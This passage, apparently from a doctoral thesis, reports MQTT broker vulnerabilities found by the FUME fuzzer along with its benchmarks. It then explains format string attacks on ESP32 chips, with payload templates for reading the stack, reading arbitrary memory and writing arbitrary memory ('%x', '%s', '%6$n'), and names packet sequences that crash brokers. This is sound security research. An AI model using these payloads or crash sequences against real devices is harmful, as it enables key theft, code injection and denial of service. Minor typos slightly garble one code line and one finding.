causing a null pointer dereference and crashing the server. This vulnerability was reported to 

Eclipse and assigned to CVE-2021-28166 [61]. It has been patched in version 2.0.10. The second 

vulnerability occurs when a client sends a PUBLISH control packet with a topic length set to 0, 

causing the server to crash. This bug had previously been patched in version 2.0.8 at the time of 

our discovery; however, the patch was intended to address a bug in the Mosquitto client library, 

and the bug in the server was not originally recognized as a vulnerability. It has been assigned to 

CVE-2021-34432 [62]. 

KMQTT. We discovered a vulnerability in version 0.2.5 of KMQTT. On some Linux systems, 

the server would throw a SIGPIPE signal if the broker tried to send a payload to a closed TCP 

connection – for instance, if it tried to respond to a SUBSCRIBE request with a SUBACK 

response. This bug was reported to the project’s maintainer and patched in version 0.2.6. 
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aedes. In version 0.45.0 of aedes, a vulnerability occurred if the client closed a connection with a 

malformed DISCONNECT packet. The bug only occurred if the following sequence of packets 

were sent: [CONNECT, PUBREL, DISCONNECT]. The sequence causes a buffer overflow to 

occur and crashes the server. We learned the vulnerability was due to a bug in mqtt-packet 

version 6.9.0, which is a Node.js package that aedes depends on. The bug in mqtt-packet was 

patched in version 6.9.1, and aedes version 0.45.1 now points to the patched package version. 

hrotti. We discovered three vulnerabilities in hrotti. It should be noted that the project has 

apparently halted development since 2017. Therefore, at the time of writing this, all bugs are still 

present in the code. The first vulnerability is a parsing error that occurs when the client sends a 

valid CONNECT packet followed by a malformed PUBLISH packet. The second vulnerability 

occurs when the client sends an UNSUBSCRIBE packet with a topic length of 0. The final 

vulnerability occurs when the client sends a malformed CONNECT packet. This vulnerability 

was first reported by GitHub user Alexander Sieg in an issue in September 2017 [63]. 

3.5.3 Vulnerability Discovery Speed 

We now evaluate the discovery speed of the seven discovered vulnerabilities. We compare 

FUME against three fuzzing engines: BooFuzz [43], mqtt_fuzz [64], and AFLNet [45]. BooFuzz 

is a fuzzing framework written in Python that generates a fixed number of test cases according to 

a given input corpus. mqtt_fuzz is a mutation-based fuzzer for MQTT. AFLNet is an extension 

of AFL with added support for network applications. It should be noted that only FUME 

implements a generation guided fuzzing engine while the other fuzzers use a mutation guided 

approach. For the sake of fairness, we only utilize the mutation guided fuzzing engine of FUME 
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in this evaluation. We also share the same original input corpus among all four fuzzers. The final 

results of our evaluation can be seen in Table 3.4. 

Table 3.4: Average time (in seconds) to discover each vulnerability. 

Vuln. Index FUME BooFuzz Mqtt_fuzz AFLNet 

0 149 23 N/A 2700 

1 255 748 N/A N/A 

2 0.196 50 N/A 177 

3 1.423 16 1.773 19 

4 0.170 7.8 N/A N/A 

5 0.677 N/A N/A 141 

6 0.192 0.655 N/A N/A 

 

In general, FUME discovered all vulnerabilities faster than any other broker. The only exception 

is that BooFuzz discovered the first Mosquitto vulnerability in 23 seconds, while FUME took 2 

minutes and 29 seconds to discover the same vulnerability. Some brokers could not find a 

vulnerability after 12 hours of fuzzing (the cells labelled “N/A” in the table). In particular, 

mqtt_fuzz could only find the aedes vulnerability. 

While testing AFLNet against some of the target brokers, we discovered that AFLNet will fail to 

identify and report the bugs in KMQTT, aedes, and hrotti. However, we confirmed that AFLNet 

eventually generates the payloads necessary to crash those brokers, and the lack of bug reporting 

may be the result of a bug in AFLNet. To address this, we started each server in a separate 

window before running AFLNet in non-instrumentation mode; this allowed us to visually 

observe the state of each server during the fuzzing process, but it removes AFLNet’s code 

coverage features. After doing this, we were able to detect that all three brokers eventually crash 
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as expected. In the case of Mosquitto, instrumenting it with afl-gcc provides the expected code 

coverage functionality supported by AFLNet, and it can detect the bugs. 

Mosquitto Findings. The first two rows in Table 3.4 correspond to the Mosquitto vulnerabilities 

(vulnerability index 0 and 1). For the first vulnerability, it can be seen that FUME triggered the 

crash in approximately two-and-a-half minutes, while BooFuzz found the bug in 23 seconds and 

AFLNet took 45 minutes. For the second vulnerability, FUME found the crash in more than 4 

minutes, and BooFuzz found it in 12-and-a-half minutes. AFLNet did not find the second 

vulnerability. mqtt_fuzz did not find either vulnerability. We also observed that AFLNet fuzzed 

targets much more slowly compared to the other fuzzers, sending on average between 1 and 2 

payloads per second to the target, while the other fuzzers can send between 10 and 100 requests 

per second on average. 

KMQTT Findings. From Table 3.4, it can be seen that Mosquitto discovered the KMQTT 

vulnerability in about 0.2 seconds, BooFuzz discovers the vulnerability in 50 seconds, and 

AFLNet discovers it in almost 3 minutes. Triggering this vulnerability requires the client to send 

a valid PUBLISH, SUBSCRIBE or UNSUBSCRIBE packet followed by immediately closing 

the connection. FUME is more likely to send valid control packets due to our fine-grained 

fuzzing strategy. In addition, the required valid packets are already present in the input corpus, 

which explains why our fuzzer detects the vulnerability so quickly. After 12 hours, mqtt_fuzz 

could not find the vulnerability, similar to before. 

Aedes Findings. Vulnerability index 3 indicates the results for the aedes vulnerability. FUME 

and mqtt_fuzz found the bug immediately, at 1.423 seconds and 1.773 seconds respectively. 
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Meanwhile, BooFuzz found the bug in 16 seconds, while AFLNet found the bug in 19 seconds. 

During these experiments, we discovered that our input corpus actually contains a valid 

[CONNECT, PUBREL, DISCONNECT] sequence that triggers the crash without any fuzzing 

needed; this is why the bug is discovered so quickly by all four fuzzers. In the case of AFLNet, 

the crash occurs during the “dry run” phase in the beginning of the run, during which AFLNet 

will send each payload verbatim to the broker. 

Hrotti Findings. The last 3 rows in Table 3.4 showcase the experimental results for hrotti. 

FUME could find all vulnerabilities in less than one second. BooFuzz discovered the first 

vulnerability in 7.8 seconds and the third vulnerability in 0.655 seconds. Since the third 

vulnerability depends on sending a malformed CONNECT packet, we adjusted our Python script 

to only send valid CONNECT packets in order to avoid triggering the third vulnerability multiple 

times. However, we could not trigger the second vulnerability despite multiple attempts; this is 

due to how hrotti only supports 65535 concurrent sessions, leading BooFuzz to quickly exhaust 

all of them and causing hrotti to hang. mqtt_fuzz could not find any of the vulnerabilities. 

AFLNet triggered the second vulnerability in 2 minutes and 21 seconds. We removed the input 

case that triggered this crash in hopes of triggering the other crashes; however, AFLNet failed to 

detect those crashes. 

We now empirically compare the mutation guided fuzzing engine to the generation guided 

fuzzing engine. Table 3.5 compares the vulnerability discovery speeds between both approaches.  
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Table 3.5: Time (in seconds) to discover each vulnerability – mutation guided fuzzing versus 

generation guided fuzzing. 

Vuln. Index Mutation Guided Generation Guided 

0 149 2286 

1 255 83 

2 0.196 0.806 

3 1.423 1.561 

4 0.170 0.131 

5 0.677 0.069 

6 0.192 0.143 

 

In the case of Mosquitto, the mutation-guided approach detects the first vulnerability in 149 

seconds, while the generation guided approach takes over 38 minutes to find the same 

vulnerability. This can be attributed to the nature of the vulnerability, which requires a specially 

crafted CONNACK packet that triggers a null pointer dereference in the program. This occurs 

much faster in the mutation-based approach because the input corpus contains a CONNACK 

packet that closely matches the contents of the malformed packet; however, the generation 

guided approach can generate hundreds of valid CONNACK packets, and most of them will be 

too dissimilar such that the fuzzing step cannot generate the malicious packet. On the other hand, 

the second vulnerability is found more quickly by the generation guided fuzzer – that is, only 83 

seconds compared to the 255 seconds in the case of mutation guided fuzzing. This result is 

expected. This particular Mosquitto vulnerability occurs when a valid PUBLISH packet contains 

a topic length of 0. The generation guided approach can generate this packet reasonably quickly, 

while the mutation guided approach must successfully mutate the “topic length” field in a 

PUBLISH packet without corrupting the rest of the packet. All other vulnerabilities were found 

in less than 2 seconds using both fuzzing approaches. 
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3.5.4 Response Feedback Benchmarks 

Using response feedback, FUME can monitor unique responses observed in a broker. The 

uniqueness of a network response depends on the field values of the control packet, while the 

uniqueness of console response is dictated according to a similarity threshold. In both cases, we 

attempt to minimize the number of redundant cases in the input queue. We have collected unique 

responses among 3 brokers: Mosquitto, HiveMQ, and EMQX. In the case of Mosquitto, we used 

the patched version so that we did not risk triggering a crash during our experiments. By default, 

HiveMQ and EMQX write log contents to an output file on disk, but we changed this by 

adjusting their configuration files so that log contents are printed to stdout. For each broker, we 

measured the number of unique responses across 10 thousand runs using generation guided and 

mutation guided fuzzing. For console responses, we measured the number of responses for 

similarity thresholds (i.e., th) 0.2, 0.5, and 0.8. For network responses, we measured how many 

unique responses were captured when we only monitored interesting MQTT fields (as described 

in Section IV-B1), and when we monitored all fields. We denote the interesting fields monitor 

mode as G-I and M-I for generation-guided and mutation-guided fuzzing, respectively, and the 

all fields monitor mode as G-A and M-A. 
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Figure 3.5: Evaluation of network response feedback for Mosquitto.  

From Figure 3.5, we can see that G-I and M-I, i.e., only interesting response fields, perform very 

similarly. This is not too surprising, since many of the packets from our input corpus were 

collected while running Mosquitto, allowing the mutation fuzzer to trigger many “hits” in the 

network responses early on. For G-A and M-A, i.e., all response fields, the number of unique 

responses is much higher. We attribute the rise in unique responses to the client ID field in the 

CONNACK response packet, which contains a random byte string generated by Mosquitto. 

FUME ignores this value when it only monitors interesting fields. 



66 

 

 

Figure 3.6: Evaluation of console response feedback for Mosquitto. 

Figure 3.6 plots the number of unique console responses observed in Mosquitto. For th = 0.5, the 

findings for mutation guided fuzzing and generation guided fuzzing are nearly identical. Again, 

we attribute this to the input corpus that we generated from Mosquitto. In the case of th = 0.8, 

generation guided fuzzing actually detected more unique responses; however, most of these were 

redundant cases since Mosquitto prints the client ID to the console. In the case of th = 0.2, 

generation guided fuzzing only logged a single response. 

Figure 3.7 and Figure 3.8 plot the number of unique responses in HiveMQ. For network 

responses, we found that mutation-guided fuzzing receives relatively few responses “hits” 

regardless of which fuzzing field values are monitored. G-I performed slightly better (19 

responses), and G-A discovered almost 700 responses. 
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Figure 3.7: Evaluation of network response feedback for HiveMQ. 

For console responses, the number of observations in generation guided fuzzing and mutation 

guided fuzzing are similar, especially when th = 0.5. 

 

Figure 3.8: Evaluation of console response for HiveMQ. 
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Finally, Figure 3.9 and Figure 3.10 plot the number of unique responses in EMQX. For network 

responses, we observed similar behavior to Figure 3.7, with the exception of M-A; between runs 

3041 and 3257, the number of hits increases rapidly. 

 

Figure 3.9: Evaluation of network response feedback for EMQX. 

For console responses, we also observe similar behavior to Figure 3.8. For th = 0.2 and th = 0.5, 

generation-guided fuzzing narrowly outperforms mutation guided fuzzing. As usual, when th = 

0.8, we find the majority of logged responses are redundancies of previous responses. 
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Figure 3.10: Evaluation of console response feedback for EMQX. 

3.6 Related Work 

Fuzzing is a widely popular approach for finding software bugs. AFL-type fuzzers are arguably 

the most popular class of fuzzing frameworks [45] [49] [65] [66] [67]. AFL is a coverage-based 

greybox fuzzer (CGF); it instruments the target by injecting instructions into the assembly code 

at compile-time, and during fuzzing, the instrumented target informs AFL whenever it reaches a 

new path in the code. AFLFast [65] improves on AFL by tweaking the frequency at which a 

selected seed is fuzzed (its energy); AFLFast gives higher energy to seeds which execute low-

frequency paths, thereby increasing the odds of finding a new path. AFLGo [66] enables directed 

fuzzing toward a target code location; the instrumented binary reports back to the fuzzer both the 

code coverage and the seed distance, i.e., the covered distance of a seed input from the target 

code location. Then AFLGo selects seeds which are more likely to minimize this seed distance. 

Other fuzzing frameworks might combine the CGF approach popularized by AFL with 
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symbolic/concolic analysis [68] [69] [70], dynamic taint analysis [12] [50] [71], and grammar 

construction [72]. 

The major advantages of these fuzzing frameworks over FUME is: 

• They are agnostic to the target software or protocol, while FUME depends on MQTT. 

• They can monitor code coverage directly using either instrumentation (compiler-level or 

binary-level), or dynamic taint analysis, while FUME can only estimate coverage. 

On the other hand, all of these approaches require a great deal of “setup“ on the part of the user. 

For example, most of these frameworks rely strictly on mutation-guided fuzzing since they have 

no knowledge of the target. Thus, their efficiency depends entirely on the seed corpus supplied 

by the user, which may be incomplete. Skyfire [72] constructs a probabilistic context-sensitive 

grammar (PCSG) to generate syntactically-and-semantically-valid input seeds. However, Skyfire 

requires the user to supply an input corpus and context-free grammar. VUzzer [50] requires the 

user to perform static analysis on the target by constructing a control flow graph (CFG) and 

running analysis scripts. AFLNet [45] runs a persistent target program and requires a “cleanup 

script” to discard any changes to the program’s state over a single run. In contrast to these 

approaches, FUME requires almost no setup from the user, since it also supports generation-

guided fuzzing; moreover, FUME does not need a cleanup script for the persistent target 

program since it monitors the network and console channels for response feedback, which only 

capture the most important state changes. Finally, as opposed to other fuzzing frameworks, 

FUME requires no instrumentation or dynamic taint analysis, which are not always available for 

every application. 
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3.7 Conclusion 

In this Chapter, we designed a fuzzer based on Markov modeling for servers in MQTT-

connected systems. MQTT affects hundreds of thousands of devices, particularly resource-

constrained devices such as those found in IoT. Our fuzzer combines the techniques of mutation 

guided fuzzing and generation guided fuzzing to rigorously stress test the MQTT protocol. 

Response feedback from the target broker is monitored for tracking unique activity, which 

provides new test cases for the input corpus. We discussed three fuzzing methods that emphasize 

fine-grained manipulation of the payload. We have shown that state-of-the-art MQTT 

implementations such as Mosquitto contain serious vulnerabilities that can lead directly to 

denial-of-service attacks and threaten the reliability of the entire network. In total, we discovered 

7 vulnerabilities, including 6 zero-day vulnerabilities. Finally, we compared our fuzzer against 

three popular fuzzing frameworks and demonstrated that our model can find MQTT 

vulnerabilities more effectively and rapidly in nearly all cases. 
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CHAPTER 4:  DISCOVERING VULNERABILITIES IN IOT DEVICES 

In this Chapter, we demonstrate the plausibility of software security attacks in IoT devices. As a 

proof-of-concept, we design multiple format string attacks to target the ESP32 class of MCUs, 

which use the Xtensa LX6 processor architecture. The format string attacks can be used to 

perform denial-of-service against the application, remotely steal private keys hard-coded in the 

firmware, and even perform code injection. We provide full implementation details of each 

attack.3 

4.1 Motivation 

IoT device manufacturers have been advancing the hardware to secure IoT devices. One of the 

pioneers is Espressif Systems, which produces the popular ESP8266 and ESP32 chips and 

claimed a shipment of 100 million of both chips in January 2020 [73]. Particularly, ESP32 has 

abundant hardware security features including secure boot [74] and flash encryption [75], as 

discussed in CHAPTER 2: . However, software security in these chips has not been well 

explored. This Chapter presents potential threats against ESP32 by using numerous practical 

software attacks. Five attacks are presented with increasing complexity and severity: 

1 We use the format string attack to read data on the stack. 

2 We use the format string attack to read data from nearly any memory address. 

 
3 The contents of this Chapter are based on our publication to IEEE ICPADS 2020 [8]. 



73 

 

3 We use the format string attack to write data to nearly any memory address, including some 

which are executable. 

4 We use the format string attack to hijack the control flow of the program. 

5 We use the format string attack to combine attacks 3 and 4 to perform code injection. 

We demonstrate our attacks with two proof-of-concept applications, a HTTP web server and a 

MQTT client, showing that an attacker may deploy the attacks remotely through the Internet. 

Our attacks significantly undermine the security of ESP32, and the principles may apply to other 

IoT chips. 

4.2 Background 

In this section, we discuss the architecture of the Xtensa LX6 processor, which is used by the 

ESP32. We introduce important elements of the processor such as the address mapping and 

register window mechanism.  

4.2.1 Harvard Architecture and Address Mapping 

The Tensilica Xtensa LX6 [76] is a modified Harvard architecture with separate buses for 

fetching instructions and data from memory. Harvard architecture allows the processor to access 

instructions and data simultaneously, which increases throughput of the system. A true Harvard 

architecture has two distinct instruction and data memory address spaces. In contrast, a modified 

Harvard architecture contains a single address space, and it is left to the processor to determine 

whether a given address belongs to instruction memory or data memory. Specifically, for Xtensa, 

the translation lookaside buffer (TLB) stores information about an address’s access permissions, 
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and the CPU will raise an exception if the program attempts to violate one of these permissions, 

e.g., tries to write to a read-only address. 

The ESP32 has a 32-bit address space which can either map to internal SRAM, peripherals, the 

real time controller (RTC), or external flash. The address mapping of a memory segment 

determines which bus shall access it. For example, the address range 0x40070000 - 0x4007ffff, 

which is accessed by the instruction bus, maps to SRAM. In general, the address space 

0x3f400000 - 0x3fffffff is accessed by the data bus, the address space 0x40000000 - 0x4fffffff is 

accessed by the instruction bus, and the address space 0x50000000 - 0x50001fff is accessed by 

both buses. Table 4.1 shows the address space for the ESP32 and shows whether each memory 

section is accessible by the instruction bus or the data bus. Some memory regions are reserved 

and do not map to either bus. 

Table 4.1: ESP32 address space 

Start address End address Bus Target 

0x3f400000 0x3f7fffff Data External flash 

0x3f800000 0x3fbfffff Data External SRAM 

0x3ff00000 0x3ff7ffff Data Peripheral 

0x3ff80000 0x3ff81fff Data RTC FAST 

0x3ff90000 0x3ff9ffff Data ROM 

0x3ffae000 0x3fffffff Data Internal SRAM 

0x40000000 0x4005ffff Instruction ROM 

0x40070000 0x400bffff Instruction Internal SRAM 

0x400c0000 0x400c1fff Instruction RTC FAST 

0x400c2000 0x40bfffff Instruction External Flash 

0x50000000 0x50001fff Both RTC SLOW 
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Harvard architecture systems like Xtensa present unique challenges to classic security attacks. 

Since the processor will raise exceptions on access violations, an adversary cannot execute code 

from the stack or overwrite instruction memory. Instead, adversaries must rely on more advanced 

attacks such as return oriented programming (ROP) and jump oriented programming (JOP) (i.e., 

code reuse attacks) to perform a hijack of the program’s control flow [9]. However, in Section 

4.3.2, we carefully study the access permissions of the ESP32’s address space and find that in 

certain cases, the processor does not prevent memory access violations, which can be exploited. 

Furthermore, Harvard architecture does not protect against several other kinds of vulnerabilities 

which do not depend on memory access permissions. For instance, the stack-based buffer 

overflow and format string attacks can lead to exploits which read or write to data RAM or 

execute instruction RAM. 

4.2.2 Registers and the Register Window 

Xtensa supplies many registers to the processor at runtime, including 16 general purpose 

registers, a program counter (PC), and many special registers which are used for various 

purposes such as exception handling. Registers are located in a register file, which is accessed 

throughout the execution pipeline. The ESP32 implements Xtensa’s windowed register 

application binary interface (ABI), which extends the register file to 64 general-purpose registers 

but limits the view to just 16 of those registers. The registers in the register file are labeled AR0, 

AR1, ..., AR63. The window of visible registers is controlled by a special 4-bit WindowBase 

register, which is updated when the process branches to a new subroutine or returns from the 

current subroutine. 
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The process uses the naming scheme of A0, A1, ..., A15 to refer to the general-purpose registers 

which are immediately accessible to the process. A0 always stores the return address of the 

current subroutine. A1 always stores the stack pointer of the current stack frame. Registers A2 

through A15 are used for local variables. Additionally, registers A2 through A7 can be used for 

incoming arguments from the caller function, while registers A8 through A15 can be used to 

supply arguments to the next function. 

 

 

Figure 4.1: Overview of the ESP32 register file and register window mechanism. A function only 

has access to the registers contained in the register window. 

The register window can shift by increments of 4, 8, or 12 registers. Figure 4.1 illustrates the 

register window behavior for three distinct subroutines, Sub1, Sub2, and Sub3. This mechanism 
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can be divided into three distinct stages: call, where the program executes a CALL instruction; 

entry, where the programs execute the ENTRY instruction at the start of the destination 

subroutine; and return, where the program executes the RETW instruction at the end of the 

destination subroutine. These are further described below. We assume the register window will 

shift by 8 registers. 

Call. First, the PC will reach an instruction CALL8 addr, where addr is the target address of the 

call. This will set the register A8 to PC + 3, i.e., the address following the call instruction. 

However, the most significant bit (MSB) of A8 is set to the size of the window shift – in this 

case 8 – which will be used later by the return instruction. The program then writes the value 2 to 

PS.CALLINC, which is a 2-bit special register that tracks the size of the window shift. Finally, 

PC is set to the value of addr. 

Entry. Now the program executes the entry instruction ENTRY X, where X is the size of the 

stack frame. During execution of this instruction, the program reads the value from PS.CALLINC 

– in this case 2, which indicates that the register window must shift by 8 registers. Now the 

program increments WindowBase by PS.CALLINC, which sets the new bounds of the window 

register. Now A8 becomes A0, A9 becomes A1, etc. Thus, the return address, which was stored 

in register A8 by the call stage, is now stored in register A0. The program also writes to a 16-bit 

special register WindowStart, which tracks which registers are currently live in the program. This 

is important for detecting window overflow exceptions, which is further explained in Section 

4.2.3. Finally, the process will set the stack pointer to A1 – X, which allocates X bytes to the 

stack frame. This concludes the execution of ENTRY X, and the subroutine executes as normal. 



78 

 

Return. At the end of each subroutine is a RETW instruction. This performs three operations. 

First, it returns to the caller function by setting the three least significant bytes (LSB) of PC to 

the three LSB of A0. Second, it unsets the bit in WindowStart that was set by the ENTRY 

instruction, marking those registers as non-live. Third, it shifts the register window back to its 

original position, i.e., it decrements WindowBase by 2. Note that PS.CALLINC is not reliable for 

this operation since the callee function may have written to it before reaching the RETW 

instruction. Since the register window decrements by 8 registers, A0 becomes A8, A9 becomes 

A1, etc. This concludes the return stage. 

4.2.3 Window Overflow/Underflow Exception 

In the case where a subroutine Sub[i] attempts to use a register that already belongs to another 

live subroutine Sub[j], the CPU will initiate a window overflow exception. In this scenario, the 

CPU will dump the contents of some of Sub[j]’s registers into memory and allow Sub[i] to 

access those registers. Determining a window overflow exception is done through the 

WindowStart special register. Since WindowStart has a width of 16 bits and the register file 

contains 64 registers, a set bit in WindowStart corresponds to 4 live registers in the program. If 

subroutine Sub[i] tries to write to any of these registers, then their contents are all dumped to the 

stack prior to the write operation. Figure 4.2 demonstrates the principle of the window overflow 

exception. 
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Figure 4.2: Principle of the Window Overflow Exception in ESP32. The contents of the red 

highlighted registers shall be dumped to the stack. 

Assuming that 8 registers must be dumped to the stack, the program executes a 

WindowOverflow8 procedure to save registers A0 through A7 of Sub[j], which occurs as 

follows. First, registers A0 through A3 are saved to the addresses of A9 - 16, A9 - 12, A9 - 8, 

and A9 - 4, respectively. This memory region is called the Base Save Area. Note that A9 is the 

stack pointer of Sub[i]. Then A0 is set to the address of A1 - 12, and registers A4 through A7 are 

saved to the addresses of A0 - 32, A0 - 28, A0 - 24, and A0 - 20, respectively. This memory 

region is called the Extra Save Area. Note that A1 is the stack pointer of Sub[i - 1], i.e., the 

subroutine which called Sub[i]. Thus, it can be observed that the Base Save Area is located at a 

fixed offset relative to Sub[i]’s stack pointer, while the Extra Save Area is located at a fixed 

offset relative to Sub[i - 1]’s stack pointer. 
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When the program returns back to Sub[j], it will restore the register contents from memory back 

into the registers. It does this by executing a WindowUnderflow8 procedure, which undoes the 

operations performed by the WindowOverflow8 procedure. In this way, register contents are 

never lost, even when the registers themselves must be shared among subroutines. 

4.3 Novel Attacks Against ESP32 

In this section, we present novel attacks against the ESP32 based on the popular format string 

attacks. We begin by describing the standard format string attack behavior and its 

implementation on ESP32. Then we present a detailed overview of access permissions to the 

address space. We then explain how the format string attack can be constructed to read, write, or 

execute memory on the ESP32, including how to steal private keys and how to perform code 

injection on a Xtensa LX6 processor. 

4.3.1 Format String Behavior 

Format string vulnerabilities arise when formatting functions fail to validate a user’s input format 

[77]. An example of such a function is printf(), which accepts as input a string containing format 

characters. Typically, if the program were to execute an instruction such as printf("%s", name), it 

would simply print the contents of name. However, if the name argument is not provided to the 

function, then the program will print the contents of a different memory location, which may 

leak sensitive data. The exact memory locations which are accessed depend on the 

implementation of the C standard library. 
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The ESP32 ROM and ESP-IDF framework use a modified version of Newlib to implement 

format string functions. Specifically, the vfprintf() library function parses the supplied format 

string parameters and writes the string to a buffer, and the formatted buffer is passed to the 

ESP32’s virtual filesystem (VFS) component, where the bytes are then transmitted over UART. 

For simplicity, we refer to the entire call stack as the "formatting function", although the call 

stack for printf() and other formatting functions contain more than 10 distinct subroutines. 

We observe that the format string vulnerability exists in the ESP32’s implementation of Newlib. 

Now a full description of the format string attack is given. Consider a program which makes the 

following function call, where is the supplied format string, and , , etc., are a variable number of 

objects:  

printf(<str>, <obj1>, <obj2>, …); 

To prepare this function call, the ESP32 will allocate register A10 to hold the address of <str>, 

and registers A11 through A15 will hold the addresses of <obj1>, <obj2>, and if applicable, 

<obj3>, <obj4>, and <obj5>. Then registers A10 through A15 are passed as incoming 

arguments to printf(), which iterates over the arguments. If fewer than five objects are provided, 

then the function only needs to fill the necessary registers while the unused registers will be 

ignored by the iterator. However, if more than five objects are provided, then a problem occurs. 

The call to printf() shifts the register window by 8 registers, which means register A10 becomes 

A2, A11 becomes A3, and so forth. Registers A8 and A9 cannot be used to hold objects, because 

they will hold the return address and stack pointer of printf(), respectively, while registers A0 
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through A7 cannot be used, because they will be inaccessible by printf() due to the register 

window shift. To solve this problem, the ESP32 resorts to placing excess objects on the stack. 

The format string vulnerability occurs when the call to printf() contains more format parameters 

in than it contains objects to format. When this happens, then the program will still iterate over 

registers A11 through A15 and the stack locations where excess objects would be stored. If the 

adversary can control the content of the format parameters, then this behavior can be used to leak 

the contents of registers A11 through A15 as well as the stack, among other attacks which will be 

covered in this section. 

4.3.2 Access to the Address Space 

We have comprehensively assessed the access permissions in the ESP32 address space. This 

assessment was performed by writing a program that uses the format string vulnerability to read, 

write, or execute a supplied memory address, and monitoring the runtime behavior of the 

program. The exact structure needed for these format strings are discussed later in this section. 

The results of our assessment are shown in Table 4.2. It can be seen that data sections, i.e., 

sections between 0x3f400000 and 0x3fffffff, have read access, while instruction sections, i.e., 

sections between 0x40000000 and 0x40bfffff, have execute access, which are expected. 

However, our assessment also revealed some interesting information about the address space, 

which is described below. 
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Table 4.2: Access permissions to the ESP32 address space when conducting the format string 

attack. ✓1 means the address space is only accessible through L32I or L32R instructions. X2 

means the address is inaccessible due to one or more null bytes in the address. 

Target Address space R W X 

External flash 0x3f400000 – 0x3f7fffff ✓ X X 

External SRAM 0x3f800000 – 0x3fbfffff ✓ ✓ X 

Peripherals 0x3ff00000 – 0x3ff7ffff ✓ ✓ X 

RTC FAST 0x3ff80000 – 0x3ff81fff ✓ ✓ X 

ROM1 0x3ff90000 – 0x3ff9ffff ✓ X X 

SRAM 2 0x3ffae000 – 0x3fffffff ✓ ✓ X 

SRAM 1 0x3ffe0000 – 0x3fffffff ✓ ✓ X 

ROM0 0x40000000 – 0x4005ffff ✓1 X ✓ 

SRAM 0 0x40070000 – 0x4009ffff ✓1 ✓ ✓ 

SRAM 1 0x400a0000 – 0x400b1fff ✓1 ✓ ✓ 

RTC FAST 0x400c0000 – 0x400c1fff ✓1 ✓ ✓ 

External Flash 0x400c2000 – 0x40bfffff ✓1 X ✓ 

RTC SLOW 0x50000000 – 0x50001fff X2 X2 X2 

 

First, we learned that the instruction space is completely readable. However, the format string 

attack cannot be used to read the instruction address directly; this is due to the fact that 

instruction addresses can only be read via L32I or L32R instructions. However, the format string 

attack can be used to execute such instructions, which will be explained shortly. 

We also learned that some executable addresses are writable by the format string attack. In 

particular, the format string attack can be used to write to the SRAM 0, SRAM 1, and RTC 

FAST address spaces. SRAM 0 and SRAM 1 store memory sections such as BSS, the stack, 

heap, and caching for the external flash and external SRAM. RTC FAST stores code relating to 

the ESP32’s deep sleep mode. Since these targets can be written and executed, they are 

susceptible to a code injection attack.  
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Finally, we learned that the target RTC SLOW apparently has no access restrictions, which was 

discovered through JTAG debugging. This section may be used to store data for use in deep 

sleep mode. However, due to the null byte which is present in all addresses in the address space 

(i.e., all addresses in 0x50000000 - 0x50001fff contain the null byte 0x00), the format string 

attack cannot be used to access this memory region. This is due to the fact that the format 

function will stop processing our input string if it encounters the null byte. 

4.3.3 Reading the Stack 

The format string attack can be used to read the stack in the ESP32. Using the "%x" parameter, 

the format function will print the hex dump of the current object accessed by the iterator. This 

parameter also increments the iterator by 32 bits, i.e., the length of a memory address. The "%x" 

parameter can be used to print stack contents through the following approach: 

printf("%x %x %x %x ....") 

Here, the number of "%x" parameters is arbitrary. Recall the first five parameters correspond to 

registers A11 through A15, while other parameters correspond to values on the stack, beginning 

from the stack pointer of the caller function. Figure 4.3 illustrates this attack on a sample ESP32 

application, which uses MQTT to communicate with users remotely. 
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Figure 4.3: Reading stack contents of a sample ESP32 application. 

4.3.4 Reading Arbitrary Memory 

A more powerful attack is the ability to read arbitrary memory. This is possible if the printf() 

input string is allocated on the stack. Then an adversary can use the “%s” parameter to pass a 

value by reference to the format function, dereferencing the current object pointed to by the 

iterator and printing the object as a string. Since the input string is located on the stack, an 

adversary can craft an input string that contains the target memory address. The input string will 

have the following structure: 

char buf[30] = “<addr> %x … %x %s”; 

printf(buf); 

Here, <addr> is a 32-bit address and is little-endian formatted. It can be seen that buf is a local 

variable, and therefore it is allocated on the current stack frame. We can assume here that buf is 

allocated at the function’s stack pointer, while in a real scenario, buf may be located at another 

offset due to the presence of other local variables. We can also assume that <addr> points to a 

valid string in memory. Finally, since we assume that buf is allocated at the stack pointer, then 

the first 4 bytes of the stack pointer correspond to <addr>. The input string only needs five 
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“%x” parameters to increment over the registers A11 – A15, while the final “%s” parameter will 

dereference <addr> and print the string. Figure 4.4 illustrates this attack in the same sample 

MQTT application as before. 

 

Figure 4.4: Reading memory contents at an arbitrary address. 

While this method may be used to print any string in data RAM, it has some important 

limitations. First, <addr> must not contain a null byte, otherwise the format function cannot 

parse the input string. Second, this method cannot be used to reliably print other data types; this 

is due to the fact that “%s” tries formats each byte as an ASCII character. Third, if <addr> is not 

a valid address with read permissions, then the program will crash. 

4.3.5 Writing Arbitrary Memory 

It is possible to write to arbitrary memory. Using the "%n" parameter, an adversary can write a 

value to an address specified in the format function input string. The value written to the 

supplied address is determined by a file object FILE*, which is managed internally by the format 

function. As the format function parses through each parameter in the input string, it writes the 

formatted data to the file object. When the format function parses the "%n" parameter, the 
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iterator should point to a supplied memory address. Then the value written to this address is the 

number of bytes written to the file object. The attack may have the following structure: 

char buf[30[ = “<addr> %Nx %6$n”; 

printf(buf); 

The "%6$" parameter is a shorthand for accessing the sixth parameter in the iterator. We access 

the sixth parameter because we assume that buf is located at the stack pointer of the caller 

function, and registers A11 - A15 occupy the first five parameters. Using "%6$n" means that the 

format function will write to the address specified by the sixth parameter, i.e., . <addr>. The 

"%Nx" parameter – where N is any positive integer – is a method for increasing the size of the 

file object buffer by a desired length. When the format function prints the object targeted by 

"%Nx", the width of the object is increased to N bytes.  

If the adversary controls <addr> and N, then the techniques described above can be used to 

perform arbitrary memory writes. For example, an adversary can inject the value 0x6a (106) by 

setting N to 100. Then the code above has a total length of 106 bytes; the first 4 bytes come from 

<addr>, 100 bytes are written by "%100x", and the last 2 bytes are the whitespace characters. 

When the format function reaches the "%6$n" parameter, it will write the value 0x6a into the 

address specified by <addr>. Figure 4.5 shows an example of injecting the string “ABCD” into 

4 consecutive addresses (one byte per address). 
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Figure 4.5: Writing memory contents at an arbitrary address. 

This approach has some limitations. First, if <addr> is not a valid writable address, then this 

method will crash the program. Second, by default, the "%n" parameter will prepare to write 4 

bytes to the target address by overwriting these 4 bytes with all 0s, which may not be desirable if 

the adversary only intends to overwrite one or two bytes. However, the adversary can overcome 

this limitation by using the "%hn" parameter to overwrite 2 bytes or the "%hhn" parameter to 

overwrite a single byte. Finally, if the buffer length of the file object exceeds the write width, 

then the most significant bytes are ignored when the data is written to <addr>. For example, if 

